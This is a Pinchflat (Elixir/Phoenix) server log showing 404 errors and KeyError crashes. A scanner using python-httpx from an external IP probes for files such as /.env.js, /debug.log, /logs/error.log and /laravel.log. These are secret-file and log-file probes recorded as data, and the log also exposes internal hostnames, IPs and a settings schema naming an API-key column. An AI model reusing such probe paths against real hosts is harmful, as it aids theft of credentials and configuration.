#PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2813.0>, params: %{}, path_info: ["logs", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/logs/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gzDs7LX21JcAABJC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1 (truncated) 15:15:13.312 [info] GET /.env.js 15:15:13.313 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=467.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:13.314 [debug] QUERY OK source="settings" db=0.5ms idle=466.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:13.314 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:13.314 [error] #PID<0.2814.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 25) terminated Server: rutube.spluft.ru:80 (http) Request: GET /.env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.js", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2814.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gzzd3hYFnSEAABJi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.js", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.js", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 25, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2814.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gzzd3hYFnSEAABJi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/ (truncated) 15:15:13.521 [info] GET /debug.log 15:15:13.522 [debug] QUERY OK source="settings" db=0.6ms idle=542.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:13.523 [debug] QUERY OK source="settings" db=0.4ms idle=410.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:13.524 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:13.525 [error] #PID<0.2815.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 26) terminated Server: rutube.spluft.ru:80 (http) Request: GET /debug.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2815.0>, params: %{}, path_info: ["debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g0lcz9wz9vYAABKC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2815.0>, params: %{}, path_info: ["debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g0lcz9wz9vYAABKC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [fi (truncated) 15:15:13.729 [info] GET /logs/error.log 15:15:13.730 [debug] QUERY OK source="settings" db=0.2ms idle=617.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:13.730 [debug] QUERY OK source="settings" db=0.1ms idle=417.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:13.731 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:13.731 [error] #PID<0.2816.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 27) terminated Server: rutube.spluft.ru:80 (http) Request: GET /logs/error.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/error.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 27, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2816.0>, params: %{}, path_info: ["logs", "error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/logs/error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g1XEGzc55KwAABKi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/error.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 27, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/error.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 27, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2816.0>, params: %{}, path_info: ["logs", "error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/logs/error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g1XEGzc55KwAABKi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1 (truncated) 15:15:13.938 [info] GET /laravel.log 15:15:13.939 [debug] QUERY OK source="settings" db=0.4ms idle=624.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:13.939 [debug] QUERY OK source="settings" db=0.3ms idle=416.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:13.940 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:13.940 [error] #PID<0.2817.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 28) terminated Server: rutube.spluft.ru:80 (http) Request: GET /laravel.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 28, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2817.0>, params: %{}, path_info: ["laravel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/laravel.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88g2IxQ_SWyw0AABLC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel.log", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 28, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 